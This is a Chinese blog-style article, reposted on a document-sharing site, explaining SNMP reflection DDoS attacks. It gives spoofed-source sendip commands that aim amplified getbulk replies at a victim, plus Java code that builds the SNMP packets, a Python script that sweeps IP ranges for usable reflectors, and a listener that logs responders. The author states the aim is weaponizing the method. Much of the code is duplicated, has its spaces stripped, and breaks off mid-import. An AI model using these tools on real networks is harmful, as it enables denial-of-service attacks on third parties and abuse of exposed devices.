基于snmp的反射攻击的理论及其实现.docx
《基于snmp的反射攻击的理论及其实现.docx》由会员分享,可在线阅读,更多相关《基于snmp的反射攻击的理论及其实现.docx(17页珍藏版)》请在冰点文库上搜索。
基于snmp的反射攻击的理论及其实现
0x00前言
当时dns反射攻击爆发的时候,我就开始研究snmp的反射攻击(实际可以达到20倍的放大效果),在2013年夏天就已经理论研究完成,后来实现工具化。
最后还差规模化(武器化)。
其实,是国外在2013年初,就有只言片语叙述snmp的反射攻击,但是没有一篇完整的文章,最近在微博上看到很多朋友转载国外的信息,我觉得,如果再不把自己所研究的放出来刷刷存在感,让我这个rank9的人活不下去了。
0x01背景
罗嗦了这么多,进入正题。
首先反射攻击的基础是向有缺陷的目标发送精心构造的伪造源ip地址的udp包来实现。
第二,需要主机和缺陷主机之间有大小不对等的信息交换。
一般满足这两个条件就可以来实现反射攻击。
0x02理论
Snmp就不过多介绍了,大家可以XX。
Snmp有3个版本,这里攻击最理想的是2c版本,而恰恰2c版本也是应用最广的。
在bt5下可以用snmpwalk或snmpget命令来和snmp主机进行交换数据。
Snmpwalk–cpublic–v2cIPoid
这里oid是获取snmp具体信息内容的一个标识,snmp里面存的信息是一个树状的信息结构。
其实snmpwalk是获取一条oid信息,但是这个oid里面附带了下一个树节点的oid号,然后snmp会通过snmpget继续访问下一个oid号(在getnext字段里面),来执行一个类似于循环的行为,但是snmpget的协议大家也看到了,只能获取到一条信息,79的信息长度,只能获得279的反馈,这样实现攻击的放大倍数是不给力的。
关键点来了,根据rfc1441-rfc1452文档说明,snmp第二版里面引入了getbulk来取代反复getnext,用来更好的在单个请求里面获得大量的管理数据。
相对应的bt5下还有个snmpbulkget命令
snmpbulkget-v2c-Cn0-Cr70-cpublicIPoid
对应就是获取当前oid后面的70个团体字,这样如果你用snmpwalk跑一个1.3.6的团体字会看到很多信息,而你用bulkget这个一次就可以收到一个包里面包含70条信息的数据包,如图。
这里看到数据包的length大家就会明白了,就是利用这种方式,来获得反射攻击的效果。
这里大家会有个疑问。
一个snmp里面会包含n多的信息(上千条肯定有了)为什么这里只用70条,用更多的会返回更多的信息,获得更大的倍数。
当然我也想,这么做,可是snmp这协议不想ntp协议直接给你把数据分包返回,而是通过一个包里的不同字段返回多个信息的,所以这里面就会受到网络链路上的mtu这个值的影响,1500这个硬伤是不能越过去的。
理论上已经实现了信息不对等的交互了,那么下面就是伪造源ip发udp包的环节了。
此处我用的是sendip这个工具,安装很简单http:
//www.earth.li/projectpurple/progs/sendip.html
下载源码之后直接在linux下编译安装,这其中可能会遇到编译问题,请参考这里
下面看下我用的命令
sendip-v-pipv4-issrc_IP-iddst_IP-pudp-us8000-ud161dst_IP-d0x123456789
这里是使用ipv4的协议发送udp包,src_IP源ip,dst_ip目的ip,-usudp源端口,-ududp目的端口,这里snmp默认端口是161,源端口自己随便填,最后部分是数据部分,其实可以直接输入明文的,但是snmp的pdu编码是非常蛋疼的,所以我使用了-d16进制的形式。
下面是效果,这个包就发到本地吧,这里的源地址就是ddos的反射攻击的被攻击者的地址。
这里看到了效果,为下一步工具化进行了铺垫
最后这个图是虚拟机环境搭的,实现反射攻击的整体图0x03工具化
首先要解决snmp数据包pdu部分的蛋疼的编码部分,snmp的数据部分是符合基本编码规则(ber)的这里有三篇文章,大家可以完全读懂ber编码和snmp的关系。
对于这个蛋疼的编码,我写了个java程序来生成pdu,里面有注释,大家很好理解的。
importjava.io.UnsupportedEncodingException;
publicclassSnmpPDUber{
publicstaticStringsumlen(Strings){
intc=0;
Stringr="";
Stringr2="";
s=qukongge(s);
s=s.replaceAll("","+");
r=s.replaceAll("\\+","");
//System.out.println(s);
c=r.length()/2;
r2=Integer.toHexString(c);//十进制转换成16进制返回
returnsubStr(r2);
}
publicstaticStringrandomtohex(inti)//产生i组16进制随机数
{
Strings="";
intk;
for(intj=0;j
k=(int)(1+Math.random()*(254-1+1));
s=s+Integer.toHexString(k)+"";
returns;
publicstaticStringsubStr(Strings)//(双位)0变成00
if(s.length()%2==1){
s="0"+s;
publicstaticStringqukongge(Strings){returns.replaceAll("","");}//去除空格
publicstaticStringtoHexString(Strings)
Stringstr="";
for(inti=0;i{intch=(int)s.charAt(i);Strings4=Integer.toHexString(ch);str=str+""+s4;}returnstr;}publicstaticvoidmain(Stringargs[]){//tag+len+valuesStringtag="30";//tag标识域SEQUENCE类型Stringlen="00";Stringvalues="";//values值域Stringversiontag="02";//versiontag标识域INTEGER类型Stringversionlen="01";Stringversionvalues="01";//versionvalues001版本012c版本StringCommunitytag="04";//Communitytag标识域string类型StringCommunitylen="00";//Communitylen长度域StringCommunityvalues=args[0];//Community值域publicSystem.out.println(Communityvalues);Communityvalues=toHexString(Communityvalues);System.out.println(Communityvalues);Stringpdutag="a5";//pdutag标识域a5是getbulkrequestStringpdulen="00";//pdulen长度域Stringpduvalue="";//pdu值域Stringrequestid_tag="02";//requestidtag标识域INTEGER类型Stringrequestid_len="04";//requestidlen长度域Stringrequestid_values="";//8位16进制随机IDStringnon_repeaters_tag="02";//getbulk开始段标识域Stringnon_repeaters_len="01";Stringnon_repeaters_values="00";//16进制0Stringmax_repeaters_tag="02";//getbulk循环段标识域Stringmax_repeaters_len="01";Stringmax_repeaters_values="64";//16进制100StringVariable_tag="30";StringVariable_len="00";StringVariable_value="";StringItem_tag="30";StringItem_len="00";StringItem_values="";StringObject_tag="06";StringObject_len="00";StringObject_values="2b06010201";//1.3.6.1.2.1Stringvalue_tag="05";//noerror标识域Stringvalue_len="00";/*tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]]*/Stringtmp="";intj=0;tmp=value_tag+""+value_len;Object_len=sumlen(Object_values);Item_values=Object_tag+""+Object_len+""+Object_values+""+tmp;Item_len=sumlen(Item_values);Variable_value=Item_tag+""+Item_len+""+Item_values;Variable_len=sumlen(Variable_value);tmp=Variable_tag+""+Variable_len+""+Variable_value;requestid_values=randomtohex(4);//报文随机id后面自带空格,所以下面字符串拼接时候不需要带空格pduvalue=requestid_tag+""+requestid_len+""+requestid_values+non_repeaters_tag+""+non_repeaters_len+""+non_repeaters_values+""+max_repeaters_tag+""+max_repeaters_len+""+max_repeaters_values+""+tmp;pdulen=sumlen(pduvalue);tmp=pdutag+""+pdulen+""+pduvalue;Communitylen=sumlen(Communityvalues);values=versiontag+""+versionlen+""+versionvalues+""+Communitytag+""+Communitylen+""+Communityvalues+""+tmp;len=sumlen(values);tmp=tag+""+len+""+values;System.out.println(tmp);System.out.println("0x"+qukongge(tmp));/*sendip-v-pipv4-is192.168.1.101-id192.168.1.102-pudp-us8000-ud161192.168.1.102-d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/}}注意:getbulk的循环字段就是对应snmpbulkget里面的–Cr标识位。第二为了有一定数量的能进行反射的主机,需要一个给力的扫描器,这里会有人想到用zmap来扫描,但是要知道,udp的扫描可不像tcp那种你发请求连接就肯定会有返回连接的,实测有很多udp程序只要你发的数据不符合他接收的格式时,他是无任何反应和回复的,就和这个ip没开相关端口是一样的效果,snmp也是符合这种情况的,所以需要自己在扫描指定ip的时候发送和正常snmp请求的包一样的数据包,来期盼正常的返回,来证明这个ip是否可以用来反射攻击。不知道大家住没注意到zmap是在不久之前才推出了snmp的扫描模块,这个模块我用过,不是太给力。下面是我用python写的一个循环调用sendip发包的程序,来扫描ip段的,里面的pdu是用刚才java编码程序生成出来的。发出的包用一个自写的java程序监听端口,如果有返回信息,就把返回的ip地址输出到文件。python3.4版本的importosimporttimefrompip.backwardcompatimportraw_input__author__='qwe'classipScan(object):def__init__(self,begin,end):self.begin=beginself.end=enddeftraverseIP(self):begin_ip=[]end_ip=[]begin=self.begin.split(".")end=self.end.split(".")#print(begin,end)forminbegin:begin_ip.append(int(m))forninend:end_ip.append(int(n))a1=begin_ip[1]b1=end_ip[1]a2=begin_ip[2]b2=end_ip[2]a3=begin_ip[3]b3=end_ip[3]print(a1,b1,a2,b2,a3,b3)foroinrange(a1,b1+1):p=1q=1if(o==a1):p=a2else:p=1if(o==b1):q=b2else:q=254forminrange(a2,b2+1):i=1j=1if(m==a2):i=a3else:i=1if(m==b2):j=b3else:j=254forninrange(i,j+1):ipstr=(str(begin_ip[0])+"."+str(o)+"."+str(m)+"."+str(n))sendip='sendip-pipv4-is192.168.0.108-id'+ipstr+'-pudp-us8450-ud161'+ipstr+'-d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500'print(sendip)os.system(sendip)time.sleep(0.1)begin=raw_input("enterbeginipaddr:")end=raw_input("enterendipaddr:")#print(begin,end)a=ipScan(begin,end)a.traverseIP()java监听程序/***CreatedwithIntelliJIDEA.*User:Clevo*Date:14-3-11*Time:下午10:09*TochangethistemplateuseFile|Settings|FileTemplates.*/importorg.bouncycastle.asn1.ASN1InputStream;importorg.bouncycastle.asn1.ASN1Primitive;importorg.bouncycastle.asn1.util.ASN1Dump;importjava.io.ByteArrayInputStream;importjava.io.FileWriter;importjava.io.IOException;import.*;publicclassudpListen{publicstaticvoidmain(String[]args){printReceiveInfomationFromPort(8000);}staticvoidprintReceiveInfomationFromPort(intport){newThread(newMonitorPortRunnable(port)).start();}}classMonitorPortRunnableimplementsRunnable{bytebuf[]=newbyte[1024];DatagramSocketds=null;DatagramPacketdp=null;intlocalReceivePort;publicMonitorPortRunnable(intlocalReceivePort){this.localReceivePort=localReceivePort;}publicstaticvoidwritefile2(StringfileName,Stringcontent){try{//打开一个写文件器,构造函数中的第二个参数true表示以追加形式写文件FileWriterwriter=newFileWriter(fileName,true);writer.write(content);writer.close();}catch(IOExceptione){e.printStackTrace();}}publicvoidrun(){dp=newDatagramPacket(buf,0,1024);try{ds=newDatagramSocket(localReceivePort);}catch(SocketExceptione1){//prompt("本地接收端口已被使用");System.exit(0);}while(true){try{ds.receive(dp);//System.out.println("信息来自:"+this.localReceivePort);}catch(IOExceptione){ds.close();e.printStackTrace();}byte[]c=dp.getData();intc_len=dp.getLength();StringreceiveMessage=newString(c,0,c_len);StringreceiveAddr=newString(dp.getAddress().toString());//System.out.println(receiveMessage);//暂时打印到控制台,一般输出到文件System.out.println(receiveAddr);writefile2("result.txt",receiveAddr+"\r\n");}} }最后还有一个java写的结果过滤,其实就是一个snmp的信息获取程序,来筛选可利用的主机或者设备,大家可以增加更多的功能,例如看出口的速度等。importjava.io.*;importjava.util.Vector;importorg.snmp4j.CommunityTarget;importorg.snmp4j.PDU;importorg.snmp4j.Snmp;importorg.snmp4j.event.ResponseEvent;importorg.snmp4j.mp.SnmpConstants;importorg.snmp4j.smi.OID;importorg.snmp4j.smi.OctetString;importor
intch=(int)s.charAt(i);
Strings4=Integer.toHexString(ch);
str=str+""+s4;
returnstr;
publicstaticvoidmain(Stringargs[]){
//tag+len+values
Stringtag="30";//tag标识域SEQUENCE类型
Stringlen="00";
Stringvalues="";//values值域
Stringversiontag="02";//versiontag标识域INTEGER类型
Stringversionlen="01";
Stringversionvalues="01";//versionvalues001版本012c版本
StringCommunitytag="04";//Communitytag标识域string类型
StringCommunitylen="00";//Communitylen长度域
StringCommunityvalues=args[0];//Community值域public
System.out.println(Communityvalues);
Communityvalues=toHexString(Communityvalues);
Stringpdutag="a5";//pdutag标识域a5是getbulkrequest
Stringpdulen="00";//pdulen长度域
Stringpduvalue="";//pdu值域
Stringrequestid_tag="02";//requestidtag标识域INTEGER类型
Stringrequestid_len="04";//requestidlen长度域
Stringrequestid_values="";//8位16进制随机ID
Stringnon_repeaters_tag="02";//getbulk开始段标识域
Stringnon_repeaters_len="01";
Stringnon_repeaters_values="00";//16进制0
Stringmax_repeaters_tag="02";//getbulk循环段标识域
Stringmax_repeaters_len="01";
Stringmax_repeaters_values="64";//16进制100
StringVariable_tag="30";
StringVariable_len="00";
StringVariable_value="";
StringItem_tag="30";
StringItem_len="00";
StringItem_values="";
StringObject_tag="06";
StringObject_len="00";
StringObject_values="2b06010201";//1.3.6.1.2.1
Stringvalue_tag="05";//noerror标识域
Stringvalue_len="00";
/*
tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+
non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]]
*/
Stringtmp="";
intj=0;
tmp=value_tag+""+value_len;
Object_len=sumlen(Object_values);
Item_values=Object_tag+""+Object_len+""+Object_values+""+tmp;
Item_len=sumlen(Item_values);
Variable_value=Item_tag+""+Item_len+""+Item_values;
Variable_len=sumlen(Variable_value);
tmp=Variable_tag+""+Variable_len+""+Variable_value;
requestid_values=randomtohex(4);//报文随机id后面自带空格,所以下面字符串拼接时候不需要带空格
pduvalue=requestid_tag+""+requestid_len+""+requestid_values+non_repeaters_tag+""+non_repeaters_len+""+non_repeaters_values+""+max_repeaters_tag+""+max_repeaters_len+""+max_repeaters_values+""+tmp;
pdulen=sumlen(pduvalue);
tmp=pdutag+""+pdulen+""+pduvalue;
Communitylen=sumlen(Communityvalues);
values=versiontag+""+versionlen+""+versionvalues+""+Communitytag+""+Communitylen+""+Communityvalues+""+tmp;
len=sumlen(values);
tmp=tag+""+len+""+values;
System.out.println(tmp);
System.out.println("0x"+qukongge(tmp));
/*sendip-v-pipv4-is192.168.1.101-id192.168.1.102-pudp-us8000-ud161192.168.1.102-d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/
注意:
getbulk的循环字段就是对应snmpbulkget里面的–Cr标识位。
第二为了有一定数量的能进行反射的主机,需要一个给力的扫描器,这里会有人想到用zmap来扫描,但是要知道,udp的扫描可不像tcp那种你发请求连接就肯定会有返回连接的,实测有很多udp程序只要你发的数据不符合他接收的格式时,他是无任何反应和回复的,就和这个ip没开相关端口是一样的效果,snmp也是符合这种情况的,所以需要自己在扫描指定ip的时候发送和正常snmp请求的包一样的数据包,来期盼正常的返回,来证明这个ip是否可以用来反射攻击。
不知道大家住没注意到zmap是在不久之前才推出了snmp的扫描模块,这个模块我用过,不是太给力。
下面是我用python写的一个循环调用sendip发包的程序,来扫描ip段的,里面的pdu是用刚才java编码程序生成出来的。
发出的包用一个自写的java程序监听端口,如果有返回信息,就把返回的ip地址输出到文件。
python3.4版本的
importos
importtime
frompip.backwardcompatimportraw_input
__author__='qwe'
classipScan(object):
def__init__(self,begin,end):
self.begin=begin
self.end=end
deftraverseIP(self):
begin_ip=[]
end_ip=[]
begin=self.begin.split(".")
end=self.end.split(".")
#print(begin,end)
forminbegin:
begin_ip.append(int(m))
forninend:
end_ip.append(int(n))
a1=begin_ip[1]
b1=end_ip[1]
a2=begin_ip[2]
b2=end_ip[2]
a3=begin_ip[3]
b3=end_ip[3]
print(a1,b1,a2,b2,a3,b3)
foroinrange(a1,b1+1):
p=1
q=1
if(o==a1):
p=a2
else:
if(o==b1):
q=b2
q=254
forminrange(a2,b2+1):
i=1
j=1
if(m==a2):
i=a3
if(m==b2):
j=b3
j=254
forninrange(i,j+1):
ipstr=(str(begin_ip[0])+"."+str(o)+"."+str(m)+"."+str(n))
sendip='sendip-pipv4-is192.168.0.108-id'+ipstr+'-pudp-us8450-ud161'+ipstr+'-d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500'
print(sendip)
os.system(sendip)
time.sleep(0.1)
begin=raw_input("enterbeginipaddr:
")
end=raw_input("enterendipaddr:
a=ipScan(begin,end)
a.traverseIP()
java监听程序
/**
*CreatedwithIntelliJIDEA.
*User:
Clevo
*Date:
14-3-11
*Time:
下午10:
09
*TochangethistemplateuseFile|Settings|FileTemplates.
importorg.bouncycastle.asn1.ASN1InputStream;
importorg.bouncycastle.asn1.ASN1Primitive;
importorg.bouncycastle.asn1.util.ASN1Dump;
importjava.io.ByteArrayInputStream;
importjava.io.FileWriter;
importjava.io.IOException;
import.*;
publicclassudpListen{
publicstaticvoidmain(String[]args){
printReceiveInfomationFromPort(8000);
staticvoidprintReceiveInfomationFromPort(intport){
newThread(newMonitorPortRunnable(port)).start();
classMonitorPortRunnableimplementsRunnable{
bytebuf[]=newbyte[1024];
DatagramSocketds=null;
DatagramPacketdp=null;
intlocalReceivePort;
publicMonitorPortRunnable(intlocalReceivePort){
this.localReceivePort=localReceivePort;
publicstaticvoidwritefile2(StringfileName,Stringcontent){
try{
//打开一个写文件器,构造函数中的第二个参数true表示以追加形式写文件
FileWriterwriter=newFileWriter(fileName,true);
writer.write(content);
writer.close();
}catch(IOExceptione){
e.printStackTrace();
publicvoidrun(){
dp=newDatagramPacket(buf,0,1024);
ds=newDatagramSocket(localReceivePort);
}catch(SocketExceptione1){
//prompt("本地接收端口已被使用");
System.exit(0);
while(true){
ds.receive(dp);
//System.out.println("信息来自:
"+this.localReceivePort);
ds.close();
byte[]c=dp.getData();
intc_len=dp.getLength();
StringreceiveMessage=newString(c,0,c_len);
StringreceiveAddr=newString(dp.getAddress().toString());
//System.out.println(receiveMessage);//暂时打印到控制台,一般输出到文件
System.out.println(receiveAddr);
writefile2("result.txt",receiveAddr+"\r\n");
}最后还有一个java写的结果过滤,其实就是一个snmp的信息获取程序,来筛选可利用的主机或者设备,大家可以增加更多的功能,例如看出口的速度等。
importjava.io.*;
importjava.util.Vector;
importorg.snmp4j.CommunityTarget;
importorg.snmp4j.PDU;
importorg.snmp4j.Snmp;
importorg.snmp4j.event.ResponseEvent;
importorg.snmp4j.mp.SnmpConstants;
importorg.snmp4j.smi.OID;
importorg.snmp4j.smi.OctetString;
importor
copyright@ 2008-2023 冰点文库 网站版权所有
经营许可证编号:鄂ICP备19020893号-2